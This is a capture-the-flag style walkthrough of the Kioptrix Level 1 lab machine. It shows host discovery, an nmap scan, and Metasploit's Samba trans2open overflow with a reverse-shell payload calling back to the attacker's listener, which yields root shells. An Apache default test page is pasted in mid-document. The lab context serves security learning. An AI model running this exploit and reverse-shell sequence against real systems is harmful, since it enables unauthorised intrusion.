

Kioptrix writeup level 1

Goal: Gain Root Access on the Target Machine

Step 1: Finding the Target IP

We started by identifying the IP address of the target machine.

As shown in the screenshot, the target IP is **192.168.29.55**, and it's active.

```
Currently scanning: 192.168.237.0/16 | Screen View: Unique Hosts
47 Captured ARP Req/Rep packets, from 3 hosts. Total size: 2820
```

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.29.1	c4:95:4d:3c:76:17	45	2700	IEEE Registration Authority
192.168.29.55	08:00:27:53:71:35	1	60	PCS Systemtechnik GmbH
192.168.29.119	a8:93:4a:04:94:e3	1	60	CHONGQING FUGUI ELECTRONICS CO.,LTD.



Test Page

This page is used to test the proper operation of the Apache Web server after it has been installed. If you can read this page, it means that the Apache Web server installed at this site is working properly.

If you are the administrator of this website:

You may now add content to this directory, and replace this page. Note that until you do so, people visiting your website will see this page, and not your content.

If you have upgraded from Red Hat Linux 6.2 and earlier, then you are seeing this page because the default [DocumentRoot](#) set in `/etc/httpd/conf/httpd.conf` has changed. Any subdirectories which existed under `/home/httpd` should now be moved to `/var/www`. Alternatively, the contents of `/var/www` can be moved to `/home/httpd`, and the configuration file can be updated accordingly.

If you are a member of the general public:

The fact that you are seeing this page indicates that the website you just visited is either experiencing problems, or is undergoing routine maintenance.

If you would like to let the administrators of this website know that you've seen this page instead of the page you expected, you should send them e-mail. In general, mail sent to the name "webmaster" and directed to the website's domain should reach the appropriate person.

For example, if you experienced problems while visiting `www.example.com`, you should send e-mail to "webmaster@example.com".

The Apache [documentation](#) has been included with this distribution.

For documentation and information on Red Hat Linux, please visit the [Red Hat, Inc.](#) website. The manual for Red Hat Linux is available [here](#).

You are free to use the image below on an Apache-powered Web server. Thanks for using Apache!



You are free to use the image below on a Red Hat Linux-powered Web server. Thanks for using Red Hat Linux!



Step 2: Reconnaissance

We performed a port scan using `nmap` to find open and potentially vulnerable services.

From the scan results, we discovered services that could be exploited.

```
$ cat klop.txt
# Nmap 7.95 scan initiated Sun Jun 29 10:30:38 2025 as: /usr/lib/nmap/nmap --privileged -T4 -Pn -sS -sV -oN klop.txt
192.168.29.55
Nmap scan report for 192.168.29.55
Host is up (0.00073s latency).
Not shown: 994 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 2.9p2 (protocol 1.99)
80/tcp    open  http         Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd (workgroup: iMYGROUP)
443/tcp   open  ssl/https    Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
32768/tcp open  status       1 (RPC #100024)
MAC Address: 08:00:27:53:71:35 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 29 10:30:45 2025 -- 1 IP address (1 host up) scanned in 6.71 seconds
```

🐼 Step 3: Exploitation

We launched **Metasploit** using `msfconsole`.

After searching for exploits related to **Samba 2.2.1a**, we found one called:

Samba trans2open Overflow

```
msf6 > search trans2open
[-] Unknown command: search. Did you mean search? Run the help command for more details.
msf6 > search trans2open

Matching Modules
=====
#  Name
-  -
0  exploit/freebsd/samba/trans2open
verflow (*BSD x86)
1  exploit/linux/samba/trans2open
verflow (Linux x86)
2  exploit/osx/samba/trans2open
verflow (Mac OS X PPC)
3  exploit/solaris/samba/trans2open
verflow (Solaris SPARC)
4  \_ target: Samba 2.2.x - Solaris 9 (sun4u) - Bruteforce
5  \_ target: Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce

Interact with a module by name or index. For example info 5, use 5 or use exploit/solaris/samba/trans2open
After interacting with a module you can manually set a TARGET with set TARGET 'Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce'

msf6 > use 1
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/samba/trans2open) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf6 exploit(linux/samba/trans2open) > show options
```

We loaded the exploit module and configured the correct payload and options based on the target's operating system.

Finally, we ran the exploit...

```
payload => generic/shell_reverse_tcp
msf6 exploit(linux/samba/trans2open) > show options

Module options (exploit/linux/samba/trans2open):



| Name   | Current Setting | Required | Description                                                                                            |
|--------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| RHOSTS |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT  | 139             | yes      | The target port (TCP)                                                                                  |



Payload options (generic/shell_reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.29.206  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                     |
|----|--------------------------|
| 0  | Samba 2.2.x - Bruteforce |



msf6 exploit(linux/samba/trans2open) > set RHOSTS 192.168.29.55
RHOSTS => 192.168.29.55
msf6 exploit(linux/samba/trans2open) > set LHOST 192.168.29.206
LHOST => 192.168.29.206
msf6 exploit(linux/samba/trans2open) > run
[*] Started reverse TCP handler on 192.168.29.206:4444
```

Root Access!

Success! The exploit gave us a **root shell** on the target machine.

```
msf6 exploit(linux/samba/trans2open) > run
[*] Started reverse TCP handler on 192.168.29.206:4444
[*] 192.168.29.55:139 - Trying return address 0xbffffdfc ...
[*] 192.168.29.55:139 - Trying return address 0xbffffcfc ...
[*] 192.168.29.55:139 - Trying return address 0xbffffbfc ...
[*] 192.168.29.55:139 - Trying return address 0xbffffafc ...
[*] 192.168.29.55:139 - Trying return address 0xbffff9fc ...
[*] 192.168.29.55:139 - Trying return address 0xbffff8fc ...
[*] 192.168.29.55:139 - Trying return address 0xbffff7fc ...
[*] 192.168.29.55:139 - Trying return address 0xbffff6fc ...
[*] Command shell session 1 opened (192.168.29.206:4444 → 192.168.29.55:32773) at 2025-06-29 11:13:16 -0400

[*] Command shell session 2 opened (192.168.29.206:4444 → 192.168.29.55:32774) at 2025-06-29 11:13:18 -0400
[*] Command shell session 3 opened (192.168.29.206:4444 → 192.168.29.55:32775) at 2025-06-29 11:13:19 -0400
[*] Command shell session 4 opened (192.168.29.206:4444 → 192.168.29.55:32776) at 2025-06-29 11:13:20 -0400

whoami
root
ls
█
```